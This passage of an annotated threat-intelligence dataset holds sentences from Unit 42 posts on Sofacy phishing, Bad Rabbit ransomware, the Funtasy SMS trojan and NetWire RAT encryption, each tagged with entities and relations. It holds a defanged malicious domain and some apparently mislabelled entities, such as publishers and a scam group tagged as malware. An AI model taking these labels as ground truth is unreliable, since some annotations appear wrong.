Moscow.","entities":[{"id":46799,"label":"identity","start_offset":9,"end_offset":56},{"id":46801,"label":"location","start_offset":193,"end_offset":206},{"id":46802,"label":"location","start_offset":211,"end_offset":217},{"id":46806,"label":"attack-pattern","start_offset":123,"end_offset":139},{"id":46808,"label":"location","start_offset":251,"end_offset":257},{"id":46807,"label":"identity","start_offset":231,"end_offset":247},{"id":46805,"label":"threat-actor","start_offset":104,"end_offset":116}],"relations":[{"id":226,"from_id":46805,"to_id":46806,"type":"uses"},{"id":227,"from_id":46807,"to_id":46808,"type":"located-at"},{"id":228,"from_id":46805,"to_id":46807,"type":"targets"},{"id":229,"from_id":46805,"to_id":46801,"type":"targets"},{"id":230,"from_id":46805,"to_id":46802,"type":"targets"}],"Comments":[]} +{"id":1541,"text":"Given the significant activity attributed to Sofacy, and the new evidence directly targeting the diplomatic community, Palo Alto Networks wants to ensure that foreign affairs agencies around the world understand how the attacks are carried out, and what agencies and personnel can do to protect themselves.","entities":[{"id":46809,"label":"threat-actor","start_offset":45,"end_offset":51},{"id":46810,"label":"identity","start_offset":119,"end_offset":137}],"relations":[],"Comments":[]} +{"id":1542,"text":"The Sofacy Group (AKA APT28, Grizzly Steppe, Fancy Bear, STRONTIUM, Sednit, Tsar Team, Pawn Storm) is a well-known hacking organization widely reported to be associated with Russia by the US Intelligence Community, numerous media reports and other cybersecurity companies.","entities":[{"id":45045,"label":"threat-actor","start_offset":4,"end_offset":16},{"id":45046,"label":"threat-actor","start_offset":22,"end_offset":27},{"id":45051,"label":"threat-actor","start_offset":76,"end_offset":85},{"id":45052,"label":"threat-actor","start_offset":87,"end_offset":97},{"id":45053,"label":"location","start_offset":174,"end_offset":180},{"id":45054,"label":"identity","start_offset":188,"end_offset":213},{"id":45047,"label":"threat-actor","start_offset":29,"end_offset":43},{"id":45048,"label":"threat-actor","start_offset":45,"end_offset":55},{"id":45049,"label":"threat-actor","start_offset":57,"end_offset":66},{"id":45050,"label":"threat-actor","start_offset":68,"end_offset":74}],"relations":[{"id":59,"from_id":45045,"to_id":45053,"type":"located-at"},{"id":60,"from_id":45046,"to_id":45053,"type":"located-at"},{"id":62,"from_id":45048,"to_id":45053,"type":"located-at"},{"id":63,"from_id":45049,"to_id":45053,"type":"located-at"},{"id":64,"from_id":45050,"to_id":45053,"type":"located-at"},{"id":68,"from_id":45046,"to_id":45045,"type":"duplicate-of"},{"id":69,"from_id":45047,"to_id":45045,"type":"duplicate-of"},{"id":65,"from_id":45051,"to_id":45053,"type":"located-at"},{"id":66,"from_id":45052,"to_id":45053,"type":"located-at"},{"id":70,"from_id":45048,"to_id":45045,"type":"duplicate-of"},{"id":71,"from_id":45049,"to_id":45045,"type":"duplicate-of"},{"id":72,"from_id":45050,"to_id":45045,"type":"duplicate-of"},{"id":61,"from_id":45047,"to_id":45053,"type":"located-at"},{"id":73,"from_id":45051,"to_id":45045,"type":"duplicate-of"},{"id":74,"from_id":45052,"to_id":45045,"type":"duplicate-of"}],"Comments":[]} +{"id":1543,"text":" Sofacy Group has been associated with many attacks against targets around the world, including the International Olympic Committee (IOC) in 2018, the World Anti-Doping Agency in 2016, the Dutch Safety Board in 2015, and German, French, Ukrainian, and Dutch political and military targets throughout 2014 through 2018.","entities":[{"id":46818,"label":"location","start_offset":221,"end_offset":227},{"id":46819,"label":"location","start_offset":229,"end_offset":235},{"id":46820,"label":"location","start_offset":237,"end_offset":246},{"id":46822,"label":"identity","start_offset":151,"end_offset":175},{"id":46812,"label":"identity","start_offset":100,"end_offset":137},{"id":46813,"label":"TIME","start_offset":141,"end_offset":145},{"id":46814,"label":"TIME","start_offset":300,"end_offset":304},{"id":46816,"label":"TIME","start_offset":179,"end_offset":183},{"id":46821,"label":"location","start_offset":252,"end_offset":257},{"id":46823,"label":"identity","start_offset":189,"end_offset":207},{"id":46824,"label":"identity","start_offset":258,"end_offset":288},{"id":46811,"label":"threat-actor","start_offset":1,"end_offset":13},{"id":46815,"label":"TIME","start_offset":313,"end_offset":317},{"id":46817,"label":"TIME","start_offset":211,"end_offset":215}],"relations":[{"id":231,"from_id":46811,"to_id":46812,"type":"targets"},{"id":232,"from_id":46811,"to_id":46822,"type":"targets"},{"id":233,"from_id":46811,"to_id":46823,"type":"targets"},{"id":234,"from_id":46811,"to_id":46824,"type":"targets"},{"id":236,"from_id":46824,"to_id":46818,"type":"located-at"},{"id":237,"from_id":46824,"to_id":46819,"type":"located-at"},{"id":238,"from_id":46824,"to_id":46820,"type":"located-at"},{"id":239,"from_id":46824,"to_id":46821,"type":"located-at"}],"Comments":[]} +{"id":1544,"text":" How the Attacks are Carried Out: Via Email","entities":[],"relations":[],"Comments":[]} +{"id":1545,"text":"These attacks begin with an email sent to a carefully chosen target in the agency.","entities":[],"relations":[],"Comments":[]} +{"id":1546,"text":"The recent spoofed emails we have seen are forged to appear to come from Jane’s 360 Defense Events to tell the recipient about events coming up in 2018.","entities":[{"id":46825,"label":"TIME","start_offset":147,"end_offset":151}],"relations":[],"Comments":[]} +{"id":1547,"text":" The figure below shows an example.","entities":[],"relations":[],"Comments":[]} +{"id":1548,"text":"Once the recipient opens the Excel spreadsheet, she or he does have trouble viewing the document: it opens as a blank spreadsheet.","entities":[{"id":45055,"label":"SOFTWARE","start_offset":29,"end_offset":34}],"relations":[],"Comments":[]} +{"id":1549,"text":"The attackers are relying on the recipient to follow the instruction in the email and click “Enable Content”.","entities":[],"relations":[],"Comments":[]} +{"id":1550,"text":"You can see below what the spreadsheet looks like and the enable content button.","entities":[],"relations":[],"Comments":[]} +{"id":1551,"text":"Clicking the “Enable Content” button is the key to the attack.","entities":[],"relations":[],"Comments":[]} +{"id":1552,"text":"While it makes the text in the spreadsheet visible and so seems to solve the problem, it’s a trick: It’s really running a program that silently installs a program on the system.","entities":[],"relations":[],"Comments":[]} +{"id":1553,"text":"This program gives the attackers complete control over the computer and can enable them to copy documents, usernames, passwords, account information and even take screenshots.","entities":[],"relations":[],"Comments":[]} +{"id":1554,"text":"How you can protect yourself","entities":[],"relations":[],"Comments":[]} +{"id":1555,"text":"There are several things that you can do to help protect against these latest Sofacy attacks and others like it.","entities":[{"id":46826,"label":"threat-actor","start_offset":78,"end_offset":84}],"relations":[],"Comments":[]} +{"id":1556,"text":" With the public awareness of this particular decoy, it is highly likely that the Sofacy group will shift their attacks to spoof emails from a different organization to continue carrying out these attacks.","entities":[{"id":46827,"label":"threat-actor","start_offset":82,"end_offset":94}],"relations":[],"Comments":[]} +{"id":1557,"text":" Additionally, this attack technique is not exclusive to the Sofacy Group.","entities":[{"id":45056,"label":"threat-actor","start_offset":61,"end_offset":73}],"relations":[],"Comments":[]} +{"id":1558,"text":"Therefore, these suggested actions can protect not just against these known attacks but others like it.","entities":[],"relations":[],"Comments":[]} +{"id":1559,"text":" An unexpected email message with an attachment that says you should “enable content” has a high likelihood of being malicious in some way.","entities":[],"relations":[],"Comments":[]} +{"id":1560,"text":"If you get an email like this, you shouldn’t open the attachment and click “enable content”.","entities":[],"relations":[],"Comments":[]} +{"id":1561,"text":"Instead, you should verify that the message and the attachment are legitimate by contacting the sender in some way other than replying to the email (because replying to the email may go back to the attackers who will, of course, say it’s legitimate).","entities":[],"relations":[],"Comments":[]} +{"id":1562,"text":"Or, just delete the message and report it to your security team.","entities":[],"relations":[],"Comments":[]} +{"id":1563,"text":"Palo Alto Networks Unit 42 regularly researches threats like these and provides information about them on our blog.","entities":[{"id":45057,"label":"identity","start_offset":0,"end_offset":26}],"relations":[],"Comments":[]} +{"id":1564,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":1565,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} +{"id":1566,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} +{"id":1567,"text":"This Unit 42 blog post provides an update on the threat situation surrounding the Bad Rabbit ransomware attacks.","entities":[{"id":4684,"label":"identity","start_offset":5,"end_offset":12},{"id":4686,"label":"malware","start_offset":82,"end_offset":92}],"relations":[],"Comments":[]} +{"id":1568,"text":" Attack Overview","entities":[],"relations":[],"Comments":[]} +{"id":1569,"text":" Bad Rabbit is a ransomware attack that, at the time of this writing, appears to primarily be affecting countries in Eastern Europe.","entities":[{"id":45059,"label":"malware","start_offset":1,"end_offset":11},{"id":45060,"label":"location","start_offset":117,"end_offset":131}],"relations":[{"id":75,"from_id":45059,"to_id":45060,"type":"targets"}],"Comments":[]} +{"id":1570,"text":"While not spreading as widely as the Petya\/NotPetya attacks, reports indicate that where Bad Rabbit has hit, it has caused severe disruption.","entities":[{"id":4690,"label":"malware","start_offset":37,"end_offset":42},{"id":4691,"label":"malware","start_offset":43,"end_offset":51},{"id":4692,"label":"malware","start_offset":89,"end_offset":99}],"relations":[],"Comments":[]} +{"id":1571,"text":"The Ukrainian CERT has issued an alert on Bad Rabbit.","entities":[{"id":4696,"label":"malware","start_offset":42,"end_offset":52},{"id":46828,"label":"identity","start_offset":4,"end_offset":18}],"relations":[],"Comments":[]} +{"id":1572,"text":" As detailed below, Bad Rabbit gains initial entry by posing as an Adobe Flash update.","entities":[{"id":45062,"label":"malware","start_offset":20,"end_offset":30},{"id":45063,"label":"SOFTWARE","start_offset":67,"end_offset":78}],"relations":[{"id":240,"from_id":45062,"to_id":45063,"type":"related-to"}],"Comments":[]} +{"id":1573,"text":"Once inside a network it spreads by harvesting credentials with the Mimikatz tool as well as using hard coded credentials.","entities":[{"id":46829,"label":"tools","start_offset":68,"end_offset":76},{"id":46830,"label":"attack-pattern","start_offset":36,"end_offset":58},{"id":46831,"label":"attack-pattern","start_offset":99,"end_offset":121}],"relations":[],"Comments":[]} +{"id":1574,"text":" Bad Rabbit is similar to Petya\/NotPetya insofar as it encrypts the entire disk.","entities":[{"id":4702,"label":"malware","start_offset":1,"end_offset":11},{"id":4703,"label":"malware","start_offset":26,"end_offset":31},{"id":4704,"label":"malware","start_offset":32,"end_offset":40}],"relations":[],"Comments":[]} +{"id":1575,"text":" We are not aware of any reports of successful recovery after paying the ransom.","entities":[],"relations":[],"Comments":[]} +{"id":1576,"text":" Because the initial attack vector is through bogus updates, Bad Rabbit attacks can be prevented by only getting Adobe Flash updates from the Adobe web site.","entities":[{"id":4708,"label":"malware","start_offset":61,"end_offset":71},{"id":46832,"label":"SOFTWARE","start_offset":113,"end_offset":124},{"id":46833,"label":"identity","start_offset":142,"end_offset":147}],"relations":[],"Comments":[]} +{"id":1577,"text":" Reconnaissance This attack does not appear to be targeted.","entities":[],"relations":[],"Comments":[]} +{"id":1578,"text":"Therefore, there appears to be little reconnaissance as part of this attack.","entities":[],"relations":[],"Comments":[]} +{"id":1579,"text":" Delivery\/Exploitation","entities":[],"relations":[],"Comments":[]} +{"id":1580,"text":" According to ESET, the initial infection vector for Bad Rabbit is through a fake Adobe Flash update that is offered up from compromised websites.","entities":[{"id":4716,"label":"malware","start_offset":53,"end_offset":63},{"id":46834,"label":"identity","start_offset":14,"end_offset":18},{"id":46835,"label":"SOFTWARE","start_offset":82,"end_offset":93}],"relations":[{"id":241,"from_id":4716,"to_id":46835,"type":"related-to"}],"Comments":[]} +{"id":1581,"text":"Proofpoint researcher Darien Huss‏ has reported this fake update was hosted at 1dnscontrol[.]com.","entities":[{"id":45064,"label":"identity","start_offset":0,"end_offset":10},{"id":45066,"label":"DOMAIN","start_offset":79,"end_offset":96},{"id":45065,"label":"identity","start_offset":22,"end_offset":33}],"relations":[],"Comments":[]} +{"id":1582,"text":"Reports differ on whether this is delivered through social engineering that convinces the user to install the fake update or if it is delivered silently through unpatched vulnerabilities (i.e. “drive-by” installs). Lateral Movement","entities":[],"relations":[],"Comments":[]} +{"id":1583,"text":" Once inside a network, Bad Rabbit propagates itself to other systems.","entities":[{"id":4721,"label":"malware","start_offset":24,"end_offset":34}],"relations":[],"Comments":[]} +{"id":1584,"text":"Reports indicate that it harvests credentials using Mimikatz and Maarten van Dantzig reports it also uses common hardcoded credentials to spread.","entities":[{"id":45067,"label":"tools","start_offset":52,"end_offset":60},{"id":45068,"label":"identity","start_offset":65,"end_offset":84},{"id":45069,"label":"attack-pattern","start_offset":25,"end_offset":45}],"relations":[{"id":76,"from_id":45069,"to_id":45067,"type":"uses"}],"Comments":[]} +{"id":1585,"text":" Command and Control (C2) At this time, we have no information on command and control for Bad Rabbit.","entities":[{"id":46836,"label":"malware","start_offset":91,"end_offset":101}],"relations":[],"Comments":[]} +{"id":1586,"text":" Conclusion Bad Rabbit is not as widespread of an attack as Petya\/NotPetya but is causing severe disruptions where it is occurring.","entities":[{"id":4729,"label":"malware","start_offset":13,"end_offset":23},{"id":4730,"label":"malware","start_offset":61,"end_offset":66},{"id":4731,"label":"malware","start_offset":67,"end_offset":75}],"relations":[],"Comments":[]} +{"id":1587,"text":"It is similar to Petya\/NotPetya in terms of the impact of a successful attack.","entities":[{"id":45070,"label":"malware","start_offset":17,"end_offset":22},{"id":45071,"label":"malware","start_offset":23,"end_offset":31}],"relations":[],"Comments":[]} +{"id":1588,"text":"However, it is a different attack with different malware.","entities":[],"relations":[],"Comments":[]} +{"id":1589,"text":" We will update this blog with new information as it becomes available.","entities":[],"relations":[],"Comments":[]} +{"id":1590,"text":" For information on how Palo Alto Networks products prevent Bad Rabbit, please see our Palo Alto Networks Protections Against Bad Rabbit Ransomware Attacks blog post.","entities":[{"id":45073,"label":"malware","start_offset":60,"end_offset":70},{"id":45074,"label":"identity","start_offset":87,"end_offset":105},{"id":45072,"label":"identity","start_offset":24,"end_offset":42},{"id":45075,"label":"malware","start_offset":130,"end_offset":136}],"relations":[],"Comments":[]} +{"id":1591,"text":" As always if you have any questions, please come to the Threat & Vulnerability Discussions on our Live Community.","entities":[],"relations":[],"Comments":[]} +{"id":1592,"text":" Version Summary October 24, 2017 2:30 p.m. PT Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[{"id":46837,"label":"TIME","start_offset":18,"end_offset":47}],"relations":[],"Comments":[]} +{"id":1593,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} +{"id":1594,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} +{"id":1595,"text":"Palo Alto Networks WildFire detected a new Android Trojan on May 7th, 2014 when a customer using our enterprise security platform downloaded the malicious application from the Google Play store.","entities":[{"id":46841,"label":"TIME","start_offset":61,"end_offset":74},{"id":46840,"label":"SOFTWARE","start_offset":0,"end_offset":27},{"id":46842,"label":"SOFTWARE","start_offset":176,"end_offset":193}],"relations":[],"Comments":[]} +{"id":1596,"text":"We’ve named the malware family Funtasy, based on the domain it uses for registering compromised phones to the premium SMS service.","entities":[{"id":45076,"label":"malware","start_offset":31,"end_offset":38}],"relations":[],"Comments":[]} +{"id":1597,"text":"The first version of Funtasy we detected is a fake television remote control application.","entities":[{"id":46844,"label":"malware","start_offset":21,"end_offset":28}],"relations":[],"Comments":[]} +{"id":1598,"text":" Figure 1: Funtasy Trojan Disguised as TV Remote Control App.","entities":[{"id":46845,"label":"malware","start_offset":11,"end_offset":18}],"relations":[],"Comments":[]} +{"id":1599,"text":" A developer using the ID “fun app” published the Trojan, and the remote control application they uploaded on April 21 is their most successful app so far, with between 10,000 and 50,000 downloads on the play store.","entities":[{"id":46846,"label":"TIME","start_offset":110,"end_offset":118}],"relations":[],"Comments":[]} +{"id":1600,"text":"Based on the reviews, the application does not function very well as a remote, but in reality it doesn’t contain remote control capability.","entities":[],"relations":[],"Comments":[]} +{"id":1601,"text":"There’s no mention of a premium SMS service in the description, but a review of the permissions reveals that the program will have complete access to SMS messages.","entities":[],"relations":[],"Comments":[]} +{"id":1602,"text":" Figure 2: Remote control app requests complete control over your SMS messages.","entities":[],"relations":[],"Comments":[]} +{"id":1603,"text":" After the user installs the remote application and opens it, they are presented with a terms of service screen.","entities":[],"relations":[],"Comments":[]} +{"id":1604,"text":"This is the user’s only chance to realize that opening this application is going to cost them dearly.","entities":[],"relations":[],"Comments":[]} +{"id":1605,"text":" Figure 3: Remote control app terms of service.","entities":[],"relations":[],"Comments":[]} +{"id":1606,"text":" If you can’t read the fine print, I don’t blame you.","entities":[],"relations":[],"Comments":[]} +{"id":1607,"text":"Here’s the text decoded from the application’s source code.","entities":[],"relations":[],"Comments":[]} +{"id":1608,"text":"Servicio de suscripción para usuarios Movistar, Vodafone, Orange, Yoigo, R y Simyo para mayores de edad o menores con capacidad legal para contratar, prestados por (FUNTASY MOBILE S.L., operador titular ARGATEL SOLUTIONS SL, n. atención al cliente 902 303 803 ó inf@argatel.com, apartado de correos 167, 17001 Girona.","entities":[],"relations":[],"Comments":[]} +{"id":1609,"text":"Coste por SMS recibido 1.46 euros\/sms (IVA incluido) más el coste de navegación WAP, que dependerá del operador que tenga contratado.","entities":[],"relations":[],"Comments":[]} +{"id":1610,"text":"Máximo 10 sms\/semana.","entities":[],"relations":[],"Comments":[]} +{"id":1611,"text":"El límite máximo de facturación del servicio puede variar en función de tu operador (18 a 30 euros\/mes).","entities":[],"relations":[],"Comments":[]} +{"id":1612,"text":"Baja automática para cancelar el servicio: envía BAJA al 797977.","entities":[],"relations":[],"Comments":[]} +{"id":1613,"text":" This message is pretty straightforward, assuming the user actually reads it.","entities":[],"relations":[],"Comments":[]} +{"id":1614,"text":"It explains that by opening the application the reader agrees to receive up to 10 SMS messages a week at a cost of 1.46 euros each.","entities":[],"relations":[],"Comments":[]} +{"id":1615,"text":"The maximum cost per month should between 18 and 30 euros per month.","entities":[],"relations":[],"Comments":[]} +{"id":1616,"text":"If the user would like to unsubscribe they can text “BAJA” to 797977.","entities":[],"relations":[],"Comments":[]} +{"id":1617,"text":"Any user who reads this message and understands it is unlikely to agree, but Funtasy does not even wait for their agreement.","entities":[{"id":46847,"label":"malware","start_offset":77,"end_offset":84}],"relations":[],"Comments":[]} +{"id":1618,"text":" While the terms page is on the screen, in the background the Trojan checks to see if the phone is attached to a network with one of the following mobile network codes (MNC): Each of these networks is Spanish, except for a single Australian network.","entities":[],"relations":[],"Comments":[]} +{"id":1619,"text":"This data, along with an encoded version of the Terms of Service are stored as static strings in the Android package file.","entities":[],"relations":[],"Comments":[]} +{"id":1620,"text":" Constants.java After determining the phone is on one of the correct networks, the malware searches for the phone’s mobile number.","entities":[{"id":45079,"label":"FILEPATH","start_offset":1,"end_offset":15}],"relations":[],"Comments":[]} +{"id":1621,"text":"It does this in three ways:","entities":[],"relations":[],"Comments":[]} +{"id":1622,"text":" Util.java With the phone’s number captured, Funtasy then registers the mobile account with a premium SMS service by sending an HTTP POST request to the following URL. The request is made without the users knowledge, they have no choice to select a number.","entities":[{"id":46848,"label":"FILEPATH","start_offset":1,"end_offset":10}],"relations":[],"Comments":[]} +{"id":1623,"text":"Of course, premium SMS services require that the user confirm that they want to sign up by sending incoming SMS message containing a PIN.","entities":[],"relations":[],"Comments":[]} +{"id":1624,"text":" Funtasy intercepts this message, parses out the PIN and sends it back to the registration server, completing the enrollment process.","entities":[],"relations":[],"Comments":[]} +{"id":1625,"text":" IncomingSms.java Of course, once users begin receiving the SMS messages, they are likely to unsubscribe from the service they never really wanted.","entities":[{"id":46849,"label":"FILEPATH","start_offset":1,"end_offset":17}],"relations":[],"Comments":[]} +{"id":1626,"text":"To prevent this, Funtasy blocks the incoming messages before they are displayed to the user and modifies the time stamp on each message to make them appear to have been received 15 days earlier.","entities":[{"id":46850,"label":"malware","start_offset":17,"end_offset":24}],"relations":[],"Comments":[]} +{"id":1627,"text":"This moves it to the back of the inbox there the victim is unlikely to ever see it.","entities":[],"relations":[],"Comments":[]} +{"id":1628,"text":" Funtasy does this even when the victim uses alternative SMS managers, like Google Hangouts or GO SMS Pro.","entities":[{"id":46851,"label":"SOFTWARE","start_offset":76,"end_offset":91},{"id":46853,"label":"malware","start_offset":1,"end_offset":8},{"id":46852,"label":"SOFTWARE","start_offset":95,"end_offset":105}],"relations":[],"Comments":[]} +{"id":1629,"text":" After evaluating the remote control app and finding malicious behavior, we decided to evaluate all of the other applications published by “fun app”, and found 12 more which all contains the exact same behavior. Figure 4:","entities":[{"id":46854,"label":"identity","start_offset":140,"end_offset":147}],"relations":[],"Comments":[]} +{"id":1630,"text":"Additional “fun app” applications, all contain the Funtasy Trojan.","entities":[{"id":46855,"label":"identity","start_offset":12,"end_offset":19},{"id":46856,"label":"malware","start_offset":51,"end_offset":58}],"relations":[],"Comments":[]} +{"id":1631,"text":" Each of these applications is designed to appear like a legitimate application already in the app store.","entities":[],"relations":[],"Comments":[]} +{"id":1632,"text":"To raise the ranking of these apps, the author appears to have given many of them five-star ratings.","entities":[],"relations":[],"Comments":[]} +{"id":1633,"text":"Unfortunately for them, this gave us additional insight into their operation.","entities":[],"relations":[],"Comments":[]} +{"id":1634,"text":" To rate and comment on applications, users must have a Google account.","entities":[{"id":46857,"label":"SOFTWARE","start_offset":56,"end_offset":62}],"relations":[],"Comments":[]} +{"id":1635,"text":"One account using the name “Oscar Sanchez” gave high ratings and positive comments to many of the “fun app” applications.","entities":[{"id":45081,"label":"identity","start_offset":28,"end_offset":41},{"id":46858,"label":"identity","start_offset":99,"end_offset":106}],"relations":[],"Comments":[]} +{"id":1636,"text":"He also rated apps made by two additional publishers with the names \"MilApps101\" and \"Milapps102.\"","entities":[{"id":46859,"label":"malware","start_offset":69,"end_offset":79},{"id":46860,"label":"malware","start_offset":86,"end_offset":96}],"relations":[],"Comments":[]} +{"id":1637,"text":"Between the two of these developers they have produced five applications, and we’ve found that every one of them contains the Funtasy Trojan.","entities":[{"id":46861,"label":"malware","start_offset":126,"end_offset":133}],"relations":[],"Comments":[]} +{"id":1638,"text":"While the name “Oscar Sanchez” may be a pseudonym","entities":[{"id":45082,"label":"identity","start_offset":16,"end_offset":29}],"relations":[],"Comments":[]} +{"id":1639,"text":", Whois data indicates it was also used to register the domain hosting the Funtasy Mobile premium SMS service.","entities":[{"id":46862,"label":"malware","start_offset":75,"end_offset":82}],"relations":[],"Comments":[]} +{"id":1640,"text":" In total we’ve found 18 different applications in the Google Play store that contain the Funtasy Trojan.","entities":[{"id":46863,"label":"malware","start_offset":90,"end_offset":97},{"id":46864,"label":"SOFTWARE","start_offset":55,"end_offset":66}],"relations":[{"id":242,"from_id":46864,"to_id":46863,"type":"hosts"}],"Comments":[]} +{"id":1641,"text":"Each of these files also has the same internal class structure, which is represented by the tree structure below.","entities":[],"relations":[],"Comments":[]} +{"id":1642,"text":"Figure 5: Funtasy internal class structure.","entities":[],"relations":[],"Comments":[]} +{"id":1643,"text":" Researchers interested in investigating them further can find more information in the table below.","entities":[],"relations":[],"Comments":[]} +{"id":1644,"text":" Using this Trojan the attacker could be generating up to 30 euros per month for over 67,000 infected mobile phones.","entities":[],"relations":[],"Comments":[]} +{"id":1645,"text":"That adds up to 2 million euros per month, but the actual number is likely much lower.","entities":[],"relations":[],"Comments":[]} +{"id":1646,"text":"Many of the users who downloaded the tool may not be using one of the targeted Spanish or Australian networks.","entities":[],"relations":[],"Comments":[]} +{"id":1647,"text":"Figure 6: List of Android APK files infected with Funtasy Trojan ","entities":[{"id":45083,"label":"SOFTWARE","start_offset":18,"end_offset":29},{"id":45084,"label":"malware","start_offset":50,"end_offset":64}],"relations":[],"Comments":[]} +{"id":1648,"text":"Users who want to defend against the Funtasy Trojan should not rely on traditional antivirus programs, as they do not currently detect this threat.","entities":[{"id":46865,"label":"malware","start_offset":37,"end_offset":44}],"relations":[],"Comments":[]} +{"id":1649,"text":"Common sense is the best defense against these types of abusive programs.","entities":[],"relations":[],"Comments":[]} +{"id":1650,"text":"While many users breeze past the list of permissions required when installing new apps, readers of this blog should ask themselves, “Does my electronic bible need to read my SMS messages?” Sign up to receive the latest news, cyber threat intelligence and research from us ","entities":[],"relations":[],"Comments":[]} +{"id":1651,"text":"Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":1652,"text":" Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} +{"id":1653,"text":"On July 22, Palo Alto Networks threat intelligence team, Unit 42, released our first report on the evolution of “Silver Spaniel” 419 scammers.","entities":[{"id":45085,"label":"identity","start_offset":12,"end_offset":55},{"id":45086,"label":"identity","start_offset":57,"end_offset":64},{"id":45089,"label":"TIME","start_offset":3,"end_offset":10},{"id":45087,"label":"malware","start_offset":113,"end_offset":127}],"relations":[],"Comments":[]} +{"id":1654,"text":" Of particular note is how these actors use a Remote Administration Tool (RAT) named NetWire (part of the NetWiredRC malware family).","entities":[{"id":46866,"label":"malware","start_offset":85,"end_offset":92},{"id":46867,"label":"malware","start_offset":106,"end_offset":116}],"relations":[{"id":243,"from_id":46866,"to_id":46867,"type":"variant-of"}],"Comments":[]} +{"id":1655,"text":"This RAT gives a remote attacker complete control over a Windows, Mac OS X, or Linux system through a simple graphical user interface.","entities":[{"id":46870,"label":"SOFTWARE","start_offset":78,"end_offset":84},{"id":46868,"label":"SOFTWARE","start_offset":57,"end_offset":64},{"id":46869,"label":"SOFTWARE","start_offset":66,"end_offset":74}],"relations":[],"Comments":[]} +{"id":1656,"text":" To better understand this RAT, our team reverse engineered the communication protocol that NetWire uses.","entities":[{"id":45090,"label":"malware","start_offset":92,"end_offset":99}],"relations":[],"Comments":[]} +{"id":1657,"text":"Today we have released a tool that decrypts NetWire traffic and outputs any commands issued by the attacker.","entities":[{"id":4924,"label":"malware","start_offset":44,"end_offset":51}],"relations":[],"Comments":[]} +{"id":1658,"text":" NetWire uses a custom, TCP-based protocol.","entities":[{"id":4926,"label":"malware","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]} +{"id":1659,"text":"The producer of the NetWire WorldWiredLabs, states that the tool uses 256-bit AES encryption, which we found to be accurate.","entities":[{"id":45091,"label":"malware","start_offset":20,"end_offset":42}],"relations":[],"Comments":[]} +{"id":1660,"text":"The tool generates two encryption keys using a static password that the attacker chooses when creating the NetWire binary.","entities":[{"id":46871,"label":"malware","start_offset":107,"end_offset":114}],"relations":[],"Comments":[]} +{"id":1661,"text":"Each packet has the following structure: < 4 Byte Little-Endian length > < 1 Byte Command >","entities":[],"relations":[],"Comments":[]} +{"id":1662,"text":"< Data >","entities":[],"relations":[],"Comments":[]} +{"id":1663,"text":" The shortest possible packet is the “HeartBeat” command, which NetWire generates every 10 seconds.","entities":[{"id":46872,"label":"malware","start_offset":64,"end_offset":71}],"relations":[],"Comments":[]} +{"id":1664,"text":" The initial packet from the client to the server shows a data and command length of 65 bytes (0x41 listed at the beginning of the packet) with a command byte of 0x03. Within that data is a 32-byte seed value followed by a 16-byte initialization vector (IV) value.","entities":[],"relations":[],"Comments":[]} +{"id":1665,"text":"The client then combines the 32-byte seed value with the static password in a predetermined fashion to form an AES key.","entities":[],"relations":[],"Comments":[]} +{"id":1666,"text":"Upon receiving the initial packet, the server uses the seed value and password to generate the client’s session key.","entities":[],"relations":[],"Comments":[]} +{"id":1667,"text":"It then generates its own 32-byte seed value to create it’s own session key and sends the seed value to the client.","entities":[],"relations":[],"Comments":[]} +{"id":1668,"text":"The client combines this with the password and generates the same key.","entities":[],"relations":[],"Comments":[]} +{"id":1669,"text":"At this point, the key exchange is complete and both client and server hold the same two keys, which they can use to encrypt and decrypt traffic.","entities":[],"relations":[],"Comments":[]} +{"id":1670,"text":" With the two keys in place, the malware uses the AES algorithm to encrypt traffic using Output Feedback (OFB) mode (Picture courtesy of Wikipedia). The output of the block cipher encryption is eXclusive OR’ed (XOR’d) with 16 bytes of ciphertext to decrypt. Each subsequent block of ciphertext will use the previous encrypted data as the IV passed into the block cipher encryption function.","entities":[],"relations":[],"Comments":[]} +{"id":1671,"text":"The malware has a full suite of possible commands, 76 to be exact.","entities":[],"relations":[],"Comments":[]} +{"id":1672,"text":"Upon receipt of a command from the server, a single function is called to decrypt the payload data and execute the received instruction.","entities":[],"relations":[],"Comments":[]} +{"id":1673,"text":"The value in the command byte determines which of the commands is run through a 76 way switch statement.","entities":[],"relations":[],"Comments":[]} +{"id":1674,"text":" A complete list of the possible commands available in NetWire was documented by CIRCL in April. The NetWire decoder uses data from a packet capture file to generate the client and server session keys then decode the remaining encrypted packets.","entities":[{"id":45092,"label":"malware","start_offset":55,"end_offset":62},{"id":45093,"label":"malware","start_offset":102,"end_offset":109}],"relations":[],"Comments":[]} +{"id":1675,"text":"The user needs to know the IP of the infected client, the port used by malware and the encryption password to properly decode the traffic.","entities":[],"relations":[],"Comments":[]} +{"id":1676,"text":"This password is set to “Password” by default, but can be retrieved from NetWire binaries if the attacker used something more secure.","entities":[{"id":4975,"label":"malware","start_offset":73,"end_offset":80}],"relations":[],"Comments":[]} +{"id":1677,"text":"The usage for the tool is show below.","entities":[],"relations":[],"Comments":[]} +{"id":1678,"text":" At this time the tool works against the latest version of NetWire, 1.5c.","entities":[{"id":4979,"label":"malware","start_offset":59,"end_offset":66}],"relations":[],"Comments":[]} +{"id":1679,"text":"We hope this tool will be valuable to incident responders and others who are plagued by NetWire infections.","entities":[{"id":4985,"label":"malware","start_offset":88,"end_offset":95}],"relations":[],"Comments":[]} +{"id":1680,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":1681,"text":" Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]} +{"id":1682,"text":"Unit 42 has recently been investigating a new malware family called Reaver.","entities":[{"id":46873,"label":"identity","start_offset":0,"end_offset":7},{"id":46874,"label":"malware","start_offset":68,"end_offset":74}],"relations":[],"Comments":[]} +{"id":1683,"text":"While we have identified it as being active since late 